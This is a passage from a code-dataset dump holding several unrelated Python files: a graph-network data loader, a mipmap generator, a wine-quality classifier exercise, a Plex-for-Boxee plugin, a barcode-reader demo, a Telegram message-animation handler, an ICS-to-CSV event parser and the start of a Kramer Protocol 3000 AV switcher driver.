2:5])\n hitDistMatrix = distance_matrix(hitPosMatrix, hitPosMatrix)\n norm_hitDistMatrix = sklp.normalize(hitDistMatrix)\n norm_sparse_hitDistMatrix = sparse.csr_matrix(norm_hitDistMatrix)\n hitEdges = convert.from_scipy_sparse_matrix(norm_sparse_hitDistMatrix)\n return hitEdges\n \n #.........................................................................#\n # load edges\n \n def load_edges(self, idx, nhits):\n if self.distance_weighted:\n distEdgeTensor = self.dist_pos_matrix(idx, nhits)\n self.edge_index = distEdgeTensor[0]\n self.edge_attr = distEdgeTensor[1]\n \n else:\n if self.fully_connected:\n edge_index = torch.ones([nhits, nhits], dtype=torch.int64)\n self.edge_index=edge_index.to_sparse()._indices()\n else:\n pos = torch.as_tensor(self.event_data[idx, :nhits, 2:5], dtype=torch.float)\n self.edge_index = knn_graph(pos, k=self.k_neighbours)\n \n #.........................................................................#\n # get graph at index\n \n def get(self, idx):\n if self.dynamic:\n nhits = self.nhits[idx] #dynamic graph\n else:\n nhits = 250 #static graph\n x = torch.from_numpy(self.event_data[idx, :nhits, :])\n y = torch.tensor([self.labels[idx]], dtype=torch.int64)\n# print(nhits)\n self.load_edges(idx, nhits)\n \n if self.distance_weighted:\n return Data(x=x, y=y, edge_index=self.edge_index, edge_attr = self.edge_attr)\n else:\n return Data(x=x, y=y, edge_index=self.edge_index)\n \n #.........................................................................#\n # graph length\n def __len__(self):\n return len(self.X)\n \n","sub_path":"Graph Networks/dataLoaderWCH5.py","file_name":"dataLoaderWCH5.py","file_ext":"py","file_size_in_byte":6144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"301944401","text":"# Copyright 2020 Stanislav Pidhorskyi\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\nimport numpy as np\nimport warnings\nfrom getoolkit.downsample2x import downsample2x\n\n\ndef is_power_of_two(n):\n \"\"\"Return True if n is a power of two.\"\"\"\n\n if isinstance(n, list) or isinstance(n, tuple):\n return all(is_power_of_two(x) for x in n)\n if n <= 0:\n return False\n else:\n return n & (n - 1) == 0\n\n\ndef generate_mipmaps(image, gamma=2.2):\n img = image.astype(np.float32)\n img = np.power(img, gamma)\n\n max_val = img.max()\n img /= max_val\n\n downsample_type = 'bspline'\n if is_power_of_two(image.shape[:-1]) and image.dtype == np.float32:\n downsample_type = 'area_average'\n warnings.warn(\"bspline may produce artifacts with hdr. Texture is POT, so using area_average instead\",\n UserWarning)\n\n mipmaps = [image]\n for _ in range(100):\n img = downsample2x(img, type=downsample_type)\n img_to_save = img * max_val\n img_to_save = np.clip(img_to_save, 0, None)\n img_to_save = np.power(img_to_save, 1.0 / gamma)\n img_to_save = img_to_save.astype(image.dtype)\n mipmaps.append(img_to_save)\n if img_to_save.shape[0] == 1 and img_to_save.shape[1] == 1:\n break\n return mipmaps\n","sub_path":"getoolkit/generate_mipmaps.py","file_name":"generate_mipmaps.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"478562033","text":"# 2-2 간단하게 빼서 분석하기\r\n\r\nimport pandas as pd\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn import metrics\r\nfrom sklearn.model_selection import train_test_split\r\n\r\n#데이터 읽어 들이기\r\nwine = pd.read_csv(\"../DATA/WINE/winequality-whitewine.csv\", sep=';', encoding=\"utf-8\")\r\n#구분자가 ;니까 이렇게 읽어와야한다 ;때문에 utf처리도\r\n\r\n#리스트, 딕셔너리화\r\ny = wine[\"quality\"]\r\nx = wine.drop(\"quality\", axis=1) #원래는 슬라이싱해왔는데 이번에는 drop이라는 방법을 쓴다\r\n #즉 quality를 빼고 열방향으로 쪼개서 11개를 만드는 것\r\n\r\n#학습 전용과 테스트 전용 데이터로 나누기\r\ndata_train, data_test, label_train, label_test = \\\r\n train_test_split(x, y, test_size=0.2)\r\n\r\n#데이터 학습시키기\r\nclf = RandomForestClassifier()\r\nclf.fit(data_train, label_train)\r\n\r\n#데이터 예측하기\r\npredict = clf.predict(data_test)\r\n\r\n#결과 테스트하기\r\nac_score = metrics.accuracy_score(label_test, predict)\r\ncl_report = metrics.classification_report(label_test, predict)\r\nprint(\"정답률 =\", ac_score)\r\nprint(\"리포트 =\", cl_report)\r\n\r\n#이번껀 각각의 속성마다 하나의 값(숫자)를 가지므로 표준화를 안해줘도 된다\r\n#결과가 좋지 않다 - 이렇게 데이터를 가공하면 안되는 것이다\r\n#왜그럴까? 1등급과 10등급이 골고루 분포되있지 않기 때문 -> 그 확률 분포를 알아내서 확률에 따라 정규화 시켜주어야한다\r\n#살펴보면 6쪽에 절반 이상이 쏠려있다 - 10등급 짜리를 3등급 짜리로 구간을 바꾸는 방법으로 레이블을 조정해주어야한다\r\n#재 레이블링 후에는 상중하로도 분석이 안되면 ??? 레벨링을 다른방식으로 해주던지 디씨젼트리의 속성을 튜닝해줘야한다\r\n#즉 애초에 데이터 분석을 제대로 한 후에 정확한 모델/혹은 방식으로 접근해야 하는것 -다른 고차원 모델이 존재할 수도 있다!!","sub_path":"자율과제형/3 머신러닝 특강/src9/wine2.py","file_name":"wine2.py","file_ext":"py","file_size_in_byte":2048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"300493099","text":"import mc\r\nimport plexee\r\nimport util\r\nimport urllib\r\nimport time\r\nimport xbmc\r\nfrom plexgdm import PlexGDM\r\n\r\n### Detect and set Plex Servers\r\n\r\ndef showConnectionWindow():\r\n\tmc.ActivateWindow(CONNECT_DIALOG_ID)\r\n\r\ndef showNextError():\r\n\tmsg = manager.getNextConnectionError()\r\n\tmc.GetWindow(CONNECT_DIALOG_ID).GetLabel(300).SetLabel(msg)\r\n\t\r\ndef updateConnectionResult():\r\n\tmsg = manager.getNextConnectionError()\r\n\tmc.GetWindow(CONNECT_DIALOG_ID).GetLabel(300).SetVisible(True)\r\n\tmc.GetWindow(CONNECT_DIALOG_ID).GetLabel(300).SetLabel(msg)\r\n\tmc.GetWindow(CONNECT_DIALOG_ID).GetButton(402).SetVisible(True)\r\n\r\n\tif len(manager.connectionErrors) > 1:\r\n\t\tmc.GetWindow(CONNECT_DIALOG_ID).GetControl(401).SetVisible(True)\r\n\t\tmc.GetWindow(CONNECT_DIALOG_ID).GetButton(401).SetFocus()\r\n\telse:\r\n\t\tmc.GetWindow(CONNECT_DIALOG_ID).GetButton(402).SetFocus()\r\n\t\r\n\t\r\ndef initPlexee():\r\n\tmanager.clearServers()\r\n\tmanager.clearMyPlex()\r\n\t\r\n\tmanager.clearConnectionErrors()\r\n\t\r\n\tif not config.GetValue(\"usediscover\") and not config.GetValue(\"usemanual\") and not config.GetValue(\"usemyplex\"):\r\n\t\tloadContent()\r\n\t\treturn\r\n\r\n\tshowConnectionWindow()\r\n\t\r\n\ttry:\r\n\t\tmc.ShowDialogWait()\r\n\r\n\t\t#try manual server\r\n\t\tif config.GetValue(\"usemanual\"):\r\n\t\t\thost = config.GetValue(\"manualhost\")\r\n\t\t\tport = config.GetValue(\"manualport\")\r\n\t\t\tmanager.addMyServer(host, port)\r\n\t\t\tif not manager.myServers:\r\n\t\t\t\t#Manual set but no server found\r\n\t\t\t\tmanager.addConnectionError(\"Failed to connect to plex server: \"+host+\":\"+port+\"[CR][CR]Check the server IP and port is correct.\")\r\n\r\n\t\t#try MyPlex\r\n\t\tif config.GetValue(\"usemyplex\"):\r\n\t\t\tusername = config.GetValue(\"myplexusername\")\r\n\t\t\tpasssword = config.GetValue(\"myplexpassword\")\r\n\t\t\tif username and passsword:\r\n\t\t\t\tresult = manager.myPlexLogin(username, passsword)\r\n\t\t\t\tif result == manager.ERR_NO_MYPLEX_SERVERS:\r\n\t\t\t\t\tmanager.addConnectionError(\"No registered MyPlex servers to connect to\")\r\n\t\t\t\telif result == manager.ERR_MPLEX_CONNECT_FAILED:\r\n\t\t\t\t\tmanager.addConnectionError(\"Unable to connect to any MyPlex registered servers.[CR][CR]Please check MyPlex for the server details and check connectivity.\")\r\n\t\t\t\telif result == manager.ERR_MYPLEX_NOT_AUTHENTICATED:\r\n\t\t\t\t\tmanager.addConnectionError(\"Failed to connect to MyPlex.[CR][CR]Authentication failed - check your username and password\")\r\n\r\n\t\t#try GDM auto discovery\r\n\t\tif config.GetValue(\"usediscover\"):\r\n\t\t\tdiscoverTime = config.GetValue(\"discoverTime\")\r\n\t\t\tif not discoverTime or not discoverTime.isdigit():\r\n\t\t\t\t#Set default value to 1 seconds timeout for auto-discovery\r\n\t\t\t\tconfig.SetValue(\"discoverTime\", \"1\")\r\n\t\t\t\tdiscoverTime = 1\r\n\t\t\tdiscoverTime = int(discoverTime)\r\n\t\t\t\t\r\n\t\t\tserverList = PlexGDM().getServers(discoverTime);\r\n\t\t\tif serverList:\r\n\t\t\t\t#GDM servers found\r\n\t\t\t\tfor serverKey in serverList:\r\n\t\t\t\t\tmanager.addMyServer(serverList[serverKey]['ip'], serverList[serverKey]['port'])\r\n\t\t\telse:\r\n\t\t\t\t#GDM enabled - but no servers found\r\n\t\t\t\tmanager.addConnectionError(\"GDM - No servers found!\" + \\\r\n\t\t\t\t\t\"[CR]\" + \\\r\n\t\t\t\t\t\"[CR]1. Check that GDM is enabled on your Plex Server (you may need to restart the server).\" + \\\r\n\t\t\t\t\t\"[CR]2. Check connectivity GDM broadcasts over UDP on port 32414\" + \\\r\n\t\t\t\t\t\"[CR]3. Try increasing the GDM response time in the settings screen\" + \\\r\n\t\t\t\t\t\"[CR][CR]Otherwise use the Manual Server or MyPlex options in the settings screen.\")\r\n\r\n\t\tif len(manager.connectionErrors) > 0:\r\n\t\t\t#An Error Occurred\r\n\t\t\tupdateConnectionResult()\r\n\t\telse:\r\n\t\t\t#No errors\r\n\t\t\txbmc.executebuiltin(\"Dialog.Close(\"+str(CONNECT_DIALOG_ID)+\")\")\r\n\r\n\t\tloadContent()\r\n\r\n\tfinally:\r\n\t\tmc.HideDialogWait()\r\n\t\t\t\r\n\r\ndef loadContent():\r\n\twindow = mc.GetWindow(getWindowID(\"home\"))\r\n\tmyLibrary = window.GetList(110)\r\n\tsharedLibraries = window.GetList(210)\r\n\tmyChannels = window.GetList(310)\r\n\tmyRecentlyAdded = window.GetList(410)\r\n\r\n\tmyLibrary.SetItems(manager.getMyLibrary())\r\n\tsharedLibraries.SetItems(manager.getSharedLibraries())\r\n\tmyChannels.SetItems(manager.getMyChannels())\r\n\tmyRecentlyAdded.SetItems(manager.getMyRecentlyAdded())\r\n\twindow.GetControl(1000).SetFocus()\r\n\r\n\t\t\t\r\ndef loadHome():\r\n\tmc.ActivateWindow(getWindowID(\"home\"))\r\n\t\r\ndef handleItem(listItem, fromHome = False):\r\n\tglobal secondaryListItems\r\n\titemType = listItem.GetProperty(\"itemtype\")\r\n\turl = listItem.GetPath()\r\n\r\n\t# Handle search items\r\n\tif listItem.GetProperty(\"search\") == \"1\":\r\n\t\tsearch = mc.ShowDialogKeyboard(listItem.GetProperty(\"prompt\"), \"\", False)\r\n\t\tif search:\r\n\t\t\turl += \"&query=\" + urllib.quote(search)\r\n\t\telse:\r\n\t\t\treturn\r\n\r\n\t# Load screen of items\r\n\tif itemType == \"Directory\":\r\n\t\tmc.ShowDialogWait()\r\n\t\t\r\n\t\t# load next screen information\r\n\t\tmachineIdentifier = listItem.GetProperty(\"machineidentifier\")\r\n\t\twindowInformation = manager.getListItems(machineIdentifier, url)\r\n\t\tviewGroup = windowInformation.titleListItems[0].GetProperty(\"viewgroup\")\r\n\t\tnextWindowID = getWindowID(viewGroup)\r\n\t\t\r\n\t\t# save the state\r\n\t\tif not fromHome:\r\n\t\t\tmc.GetActiveWindow().PushState()\r\n\t\t\r\n\t\t# secondary items\r\n\t\tif viewGroup == \"secondary\":\r\n\t\t\tsecondaryListItems = windowInformation.childListItems\r\n\t\t\tif fromHome:\r\n\t\t\t\thandleItem(windowInformation.childListItems[0])\r\n\t\t\telse:\r\n\t\t\t\t#clearItems()\r\n\t\t\t\tshowWindowInformation(window, windowInformation)\r\n\t\telse:\r\n\t\t\t# start the new window\r\n\t\t\twindow = activateWindow(nextWindowID)\r\n\t\t\tshowWindowInformation(window, windowInformation)\r\n\t\r\n\t# Play video\r\n\telif itemType == \"Video\":\r\n\t\tmachineIdentifier = listItem.GetProperty(\"machineidentifier\")\r\n\t\tmanager.playVideoUrl(machineIdentifier, url)\r\n\t\t#TEMP DISABLE PLAY WINDOW AND JUST PLAY VIDEO\r\n\t\t#windowInformation = manager.getListItems(machineIdentifier, url)\r\n\t\t#mc.ActivateWindow(PLAY_DIALOG_ID)\r\n\t\t#mc.GetWindow(PLAY_DIALOG_ID).GetList(PLAY_DIALOG_LIST_ID).SetItems(windowInformation.childListItems)\r\n\t\r\n\telif itemType == \"Track\":\r\n\t\tmachineIdentifier = listItem.GetProperty(\"machineidentifier\")\r\n\t\tmanager.playMusicUrl(machineIdentifier, url)\r\n\t\r\n\t# Unknown item\r\n\telse:\r\n\t\tmc.ShowDialogNotification(\"Unknown itemType: %s\" % itemType)\r\n\r\n\tmc.HideDialogWait()\r\n\r\ndef clearItems():\r\n\twindow = mc.GetActiveWindow()\r\n\tblankItems = mc.ListItems()\r\n\r\n\twindow.GetList(DIRECTORY_TITLE_ID).SetItems(blankItems)\r\n\twindow.GetList(DIRECTORY_ITEMS_ID).SetItems(blankItems)\r\n\t#if clearSecondary: window.GetList(DIRECTORY_SECONDARY_ID).SetItems(blankItems)\r\n\r\ndef showWindowInformation(window, windowInformation):\r\n\tviewGroup = windowInformation.titleListItems[0].GetProperty(\"viewgroup\")\r\n\r\n\tif viewGroup == \"secondary\":\r\n\t\twindow.GetList(DIRECTORY_SECONDARY_ID).SetItems(windowInformation.childListItems)\r\n\telse:\r\n\t\twindow.GetList(DIRECTORY_TITLE_ID).SetItems(windowInformation.titleListItems)\r\n\t\twindow.GetList(DIRECTORY_ITEMS_ID).SetItems(windowInformation.childListItems)\r\n\t\tmc.ShowDialogNotification(windowInformation.childListItems[0].GetLabel())\r\n\t\twindow.GetControl(DIRECTORY_ITEMS_ID).SetFocus()\r\n\r\ndef getActiveWindowID():\r\n\treturn mc.GetActiveWindow().GetEdit(1).GetText()\r\n\t\t\r\ndef getWindowID(view):\r\n\treturn WINDOW_IDS.get(view, 14001)\r\n\t\r\ndef loadSecondaryItems():\r\n\tglobal secondaryListItems\r\n\t\r\n\tif secondaryListItems:\r\n\t\t#mc.ShowDialogNotification(\"has secondary\")\r\n\t\tmc.GetActiveWindow().GetList(200).SetItems(secondaryListItems)\r\n\telse:\r\n\t\t#mc.ShowDialogNotification(\"no secondary\")\r\n\t\tmc.GetActiveWidnow().GetList(200).SetItems(mc.ListItems())\r\n\t\r\ndef activateWindow(id):\r\n\tmc.ActivateWindow(id)\r\n\treturn mc.GetWindow(id)\r\n\t\r\n# ENTRY POINT ##################################################################\r\nif ( __name__ == \"__main__\" ):\r\n\r\n\tWINDOW_IDS = {\r\n\t\t\"home\": 14000,\r\n\t\t\"default\": 14001,\r\n\t\t\"episode\": 14002\r\n\t}\r\n\r\n\tDIRECTORY_TITLE_ID = 100\r\n\tDIRECTORY_SECONDARY_ID = 200\r\n\tDIRECTORY_ITEMS_ID = 300\r\n\r\n\tSETTINGS_DIALOG_ID = 15000\r\n\tCONNECT_DIALOG_ID = 15002\r\n\t\r\n\tsecondaryListItems = None\r\n\tmanager = plexee.PlexeeManager()\r\n\tapp = mc.GetApp()\r\n\tconfig = app.GetLocalConfig()\r\n\t\r\n\t#default to autodiscover on first start of application\r\n\tif not config.GetValue(\"usemanual\") and not config.GetValue(\"usediscover\") and not config.GetValue(\"usemyplex\"):\r\n\t\tconfig.SetValue(\"usediscover\", \"1\")\r\n\r\n\t#default auto discovery time to 1 seconds\r\n\tdiscoverTime = config.GetValue(\"discovertime\")\r\n\tif not discoverTime or not discoverTime.isdigit():\r\n\t\tconfig.SetValue(\"discovertime\", \"1\")\r\n\t\r\n\t#startup\r\n\tloadHome()\r\n\tinitPlexee()\r\n","sub_path":"plexee.plexforboxee/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":8304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"74822210","text":"import cv2\nimport numpy as np\nimport dbr\nimport time\n\nlicense = \"\"\nwith open(\"license.txt\", \"r\") as f:\n license = f.read()\n\nreader = dbr.BarcodeReader()\nreader.init_license(license) \nerror = reader.init_runtime_settings_with_file('perspective-distortion.json')\nprint(reader.get_runtime_settings().__dict__)\nimage = cv2.imread('images/perspective-distortion.jpg')\n\ndef detect(windowName, image, pixel_format):\n try:\n buffer = image.tobytes()\n height = image.shape[0]\n width = image.shape[1]\n stride = image.strides[0]\n start = time.time()\n results = reader.decode_buffer_manually(buffer, width, height, stride, pixel_format, \"\")\n end = time.time()\n print(\"Time taken: {:.4f}\".format(end - start) + \" seconds\")\n \n cv2.putText(image, \"Time taken: {:.4f}\".format(end - start) + \" seconds\", (10, 30), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 2)\n\n if results != None:\n for result in results:\n print(\"Barcode Format : \")\n print(result.barcode_format_string)\n print(\"Barcode Text : \")\n print(result.barcode_text)\n\n points = result.localization_result.localization_points\n data = np.array([[points[0][0], points[0][1]], [points[1][0], points[1][1]], [points[2][0], points[2][1]], [points[3][0], points[3][1]]])\n cv2.drawContours(image=image, contours=[data], contourIdx=-1, color=(0, 255, 0), thickness=2, lineType=cv2.LINE_AA)\n\n x = min(points[0][0], points[1][0], points[2][0], points[3][0])\n y = min(points[0][1], points[1][1], points[2][1], points[3][1])\n cv2.putText(image, result.barcode_text, (x, y), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 2)\n \n cv2.imshow(windowName, image)\n except BarcodeReaderError as bre:\n print(bre)\n\nimage_copy = image.copy()\ndetect('Color', image_copy, dbr.EnumImagePixelFormat.IPF_RGB_888)\n\ncv2.waitKey(0)","sub_path":"perspective-distortion.py","file_name":"perspective-distortion.py","file_ext":"py","file_size_in_byte":2005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"365760202","text":"import asyncio\nimport glob\nfrom typing import Union\n\nfrom telethon.events import NewMessage\nfrom telethon.tl.custom import Message\n\n\nasync def boop(event: Union[Message, NewMessage.Event]):\n await event.delete()\n video = event.raw_text.endswith('v')\n\n images = glob.glob('data/boop/out*.png')\n images = sorted(images)\n im_len = len(images)\n\n texts = 'boop **BOOP**'.split()\n texts_len = len(texts)\n\n if video:\n message = await event.respond(texts[0], file='data/boop/doge.mp4')\n else:\n message = await event.respond(texts[0], file=images[0])\n loops = 3\n for i in range(im_len * loops - 1):\n text = texts[(i + 1) % texts_len]\n image = None if video else images[(i + 1) % im_len]\n await asyncio.gather(\n message.edit(text=text, file=image),\n asyncio.sleep(0.333),\n )\n await message.delete()\n","sub_path":"handlers/boop.py","file_name":"boop.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"608483661","text":"#!/usr/bin/env python3\n\n# usage: python3 researchr_parse_colocated_events_from_ics.py --room SOAP --ics workshop-researchr-example.ics --json pldi-researchr-full.json\n\nimport argparse\nimport json\nimport re\n\nimport requests\nfrom ics.icalendar import Calendar\n\n\ndef parse_arguments():\n parser = argparse.ArgumentParser(description=\"MiniConf Calendar Command Line\")\n\n parser.add_argument(\n \"--ics\",\n default=\"sample_cal.ics\",\n type=str,\n help=\"ICS file to parse (local or via http)\",\n )\n\n parser.add_argument(\"--out\", default=\"calendar.csv\", help=\"output file\")\n\n return parser.parse_args()\n\n\ndef makeISO(date, time):\n return date + \"T\" + time + \":00-04:00\"\n\n\ndef sessionTime(session):\n times = session[\"Time\"].split(\" - \")\n start = makeISO(session[\"Day\"], times[0])\n return start\n\n\ndef typeOfEvent(jsonData, key):\n return [x[\"Type\"] for x in jsonData[\"Items\"] if x[\"Key\"] == key][0]\n\n\ndef collectEventKeys(jsonData, room):\n sessions = [\n s for s in jsonData[\"Sessions\"] if s[\"Location\"].split(\"Online | \")[1] == room\n ]\n sortedEvents = list(sorted(sessions, key=sessionTime))\n events = [e for s in sortedEvents for e in s[\"Items\"]]\n return events\n\n\ndef convert(args):\n\n file_ics: str = args.ics\n if not file_ics.startswith(\"http\"):\n with open(file_ics, \"r\") as f:\n c = Calendar(f.read())\n else:\n c = Calendar(requests.get(file_ics).text)\n\n regex = \"\\[PLDI Ask Me Anything\\] [^-]*- (.*)\"\n pattern = re.compile(regex)\n\n with (open(args.out, \"w\")) as f:\n f.write(\"event,start,end,title,authors,category,trackUID,gather,zoom,info\\n\")\n roomEvents = [x for x in c.events if pattern.match(x.name) != None]\n sortedEvents = list(sorted(roomEvents, key=lambda c: c.begin))\n for i, e in enumerate(sortedEvents):\n m = pattern.match(e.name)\n person = m.group(1).strip()\n\n f.write(\n f'ama.{i},{e.begin.for_json()},{e.end.for_json()},\"{person}\",\"\",\"qa\",\"pldi-A\",,,\\n'\n )\n\n\nif __name__ == \"__main__\":\n args = parse_arguments()\n convert(args)\n","sub_path":"scripts/researchr_parse_amas.py","file_name":"researchr_parse_amas.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"507850278","text":"\"\"\"Kramer Protocol 3000. ASCII protocol for controlling Kramer switchers over RS232 or ethernet.\n\nThis was tested with a VS-42UHD 4x2 HDMI matrix switcher and a VS-211UHD 2x1 HDMI switcher.\n\nCommand prologue: '#'\nResponse prologue: '~NN@' where NN is the ID of the device (ordinarily 01 unless reassigned)\n\nCommand epilogue: '\\r'\nResponse epilogue: '\\r\\n'\n\nError codes:\n A general error is respresented by '~NN@ERR XXX\\r\\n' where:\n -NN is the ID of the device\n -XXX is the error code\n\n A command-specific error is represented by '~NN@CMD ERR XXX\\r\\n' where:\n -NN is the ID of the device\n -CMD is the command sent\n -XXX is the error code\n\n There may or may not be one or more spaces between CMD, ERR, AND XXX. The VS-42UHD\n sends a space between each; the VS-211UHD does not. So we use a regex for matching errors.\n\n Errors we check for:\n 001 - syntax error\n 002 - command not available on this device\n 003 - parameter out of range\n\"\"\"\n\nimport enum\nimport logging\nimport re\nimport select\nimport sys\n\nfrom socket import socket, create_connection\nfrom time import sleep\n\nfrom serial import Serial\n\nfrom avctls.drivers.switcher import SwitcherInterface\nfrom utils import merge_dicts, key_for_value\nfrom avctls.errors import (BadCommandError, OutOfRangeError, UnsupportedOperationError)\n\nBUFF_SIZE = 2048\n\nlogger = logging.getLogger('KramerP3000')\nlogger.setLevel(logging.DEBUG)\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\nconsole_handler = logging.StreamHandler()\nconsole_handler.setLevel(logging.DEBUG)\nconsole_handler.setFormatter(formatter)\nlogger.addHandler(console_handler)\n\nfile_handler = logging.FileHandler('avc.log')\nfile_handler.setLevel(logging.DEBUG)\nfile_handler.setFormatter(formatter)\nlogger.addHandler(file_handler)\n\n\nclass KramerP3000(SwitcherInterface):\n \"\"\"Kramer Protocol 3000. Can control devices with numbered inputs & outputs\n over RS232 or ethernet. Won't work on switchers using long format names for\n inputs/outputs (like 'IN.HDMI.1') without slight modifications.\n\n Class attributes:\n ----------------\n _default_inputs dict[str, str]\n Default mapping of input names to input values.\n\n _default_outputs dict[str, str]\n Default mapping of output names to output values.\n Consists of one output by default: '*', meaning all outputs.\n \"\"\"\n\n _default_inputs = {\n '1': '1',\n '2': '2'\n }\n\n _default_outputs = {\n 'ALL': '*'\n }\n\n class Error(enum.Enum):\n \"\"\"Error regexes. Varying by device, error codes may or may not contain one or more spaces\n between 'ERR' and the code number.\n \"\"\"\n SYNTAX = rb'ERR\\s*001'\n CMD_UNAVAILABLE = rb'ERR\\s*002'\n PARAM_OUT_OF_RANGE = rb'ERR\\s*003'\n\n class Comms(SwitcherInterface.Comms):\n \"\"\"Communication interface\n \"\"\"\n def __init__(self):\n self.connection = None\n self.serial_device = None\n self.serial_baudrate = None\n self.serial_timeout = None\n self.tcp_ip_address = None\n self.tcp_port = None\n self.tcp_timeout = None\n\n def send(self, data):\n \"\"\"Send bytes\n \"\"\"\n if isinstance(self.connection, Serial):\n return self.connection.write(data)\n elif isinstance(self.connection, socket):\n return self.connection.send(data)\n\n def recv(self, size: int = BUFF_SIZE, delay: float = 0.3):\n \"\"\"Receive bytes\n\n Uses select.select() to poll for available input and keep reading\n (size) bytes at a time until the buffer is dry.\n\n :param int size: Number of bytes to read. Defaults to BUFF_SIZE (2048)\n :param float delay: How long to wait (in seconds) between successive reads.\n Waiting longer ensures we get the whole response. Defaults to 0.3\n :rtype: bytes\n :returns: The bytes read\n \"\"\"\n if isinstance(self.connection, Serial):\n return self.connection.read(size)\n elif isinstance(self.connection, socket):\n in_socks = [self.connection]\n\n # select called here without a timeout, so recv() blocks until there is input available\n inputs_available, _, _ = select.select(\n in_socks, [], []\n )\n buffer = b''\n # there is data available to read\n if self.connection in inputs_available:\n data_available = True\n while data_available:\n try:\n buffer += self.connection.recv(BUFF_SIZE)\n sleep(delay)\n except BlockingIOError as e:\n # break the loop\n data_available = False\n return buffer\n\n def reset_input_buffer(self):\n \"\"\"Empty the input buffer\n\n Clears the input buffer using the same method as recv(). select.select()\n polls for available input until the buffer is empty, then the contents are\n discarded.\n \"\"\"\n if isinstance(self.connection, Serial):\n self.connection.reset_input_buffer()\n elif isinstance(self.connection, socket):\n in_socks = [self.connection]\n\n # select called here with timeout of 0, so it does not block\n ins_available, _, _ = select.select(\n in_socks, [], [], 0\n )\n junk_buffer = b''\n # there is data available to read (junk it)\n if self.connection in ins_available:\n data_available = True\n while data_available:\n try:\n junk_buffer += self.connection.recv(BUFF_SIZE)\n sleep(0.05)\n logger.debug('junk_buffer: {}'.format(junk_buffer.decode()))\n except BlockingIOError as e:\n data_available = False\n\n def __init__(self, serial_device='/dev/ttyUSB0', *, comm_method='serial', serial_baudrate=9600, serial_timeout=0.25,\n ip_address=None, port=5000, inputs: dict = None, outputs: dict = None, input_default=None):\n \"\"\"Constructor\n\n The default means of communication is RS-232 serial. After serial_device,\n all args should be keyword args.\n\n :param str serial_device: Serial device to use (if comm_method=='serial').\n Default is '/dev/ttyUSB0'\n :param str comm_method: Communication method. Supported values are 'serial' and 'tcp'.\n Defaults is 'serial'.\n :param int serial_baudrate: Serial baudrate (if comm_method=='serial').\n Default is 9600.\n :param float serial_timeout: Read timeout for serial operations (if comm_method=='serial').\n Default is 0.25\n :param str ip_address: IP address of the device (if comm_method=='tcp').\n :param int port: Port number to connect to (if comm_method=='tcp').\n :param dict inputs: Custom mapping of input names to input values.\n Mapping should be {str, str}.\n If None, a default mapping is used.\n :param dict outputs: Custom mapping of output names to output values.\n (Having more than one output indicates it's a matrix switcher.)\n Mapping should be {str, str}.\n If None, the default '*' is used, meaning route to all outputs.\n :param str input_default: The default input (if any) to select after setup\n \"\"\"\n try:\n if comm_method == 'serial':\n self.comms = self.Comms()\n self.comms.serial_device = serial_device\n self.comms.serial_baudrate = serial_baudrate\n self.comms.serial_timeout = serial_timeout\n self.comms.connection = Serial(port=serial_device, baudrate=serial_baudrate, timeout=serial_timeout)\n self.comms.connection.close()\n\n elif comm_method == 'tcp' and ip_address is not None:\n self.comms = self.Comms()\n self.comms.tcp_ip_address = ip_address\n self.comms.tcp_port = port\n self.comms.connection = create_connection((ip_address, port), timeout=None)\n self.comms.connection.setblocking(False)\n self.comms.connection.close()\n\n # get custom input mapping\n # ie. {'COMPUTER': '1', 'APPLE_TV': '2'...}\n if inputs and isinstance(inputs, dict):\n self.inputs = merge_dicts(inputs, self._default_inputs)\n else:\n self.inputs = self._default_inputs\n\n # get custom output mapping (useful only for matrix switching)\n # ie. {'LEFT_TV': '1', 'RIGHT_TV': '2'...}\n if outputs and isinstance(outputs, dict):\n self.outputs = merge_dicts(outputs, self._default_outputs)\n else:\n self.outputs = self._default_outputs\n\n self._input_default = input_default\n if input_default:\n self.select_input(input_default)\n\n except Exception as e:\n logger.error('__init__(): Exception occurred: {}'.format(e.args), exc_info=True)\n sys.exit(1)\n\n def open_connection(self):\n \"\"\"Open the connection for read/write\n\n For serial connections, the connection is merely reopened. For TCP sockets, a new connection\n must be created and returned.\n \"\"\"\n if isinstance(self.comms.connection, Serial):\n self.comms.connection.open()\n elif isinstance(self.comms.connection, socket):\n self.comms.connection = create_connection(\n (self.comms.tcp_ip_address, self.comms.tcp_port), timeout=None\n )\n self.comms.connection.setblocking(False)\n\n def close_connection(self):\n \"\"\"Close the connection\n \"\"\"\n self.comms.connection.close()\n\n def __try_cmd(self, cmd):\n \"\"\"Helper method for input_status and select_input\n\n :param bytes cmd: Command to send\n :returns: Error received (if it's one we know about)\n or the whole response from the switcher otherwise.\n \"\"\"\n if isinstance(cmd, str):\n cmd = cmd.encode()\n if not cmd.endswith(b'\\r'):\n cmd += b'\\r'\n\n self.comms.send(cmd)\n response = self.comms.recv()\n\n # If '\\r\\n' appears in the middle of a response, it is replaced with a pipe (|)\n # for cleaner logging. The trailing '\\r\\n' is first taken care of by rstrip()\n logger.debug('__try_cmd:: cmd: \"{}\", response: 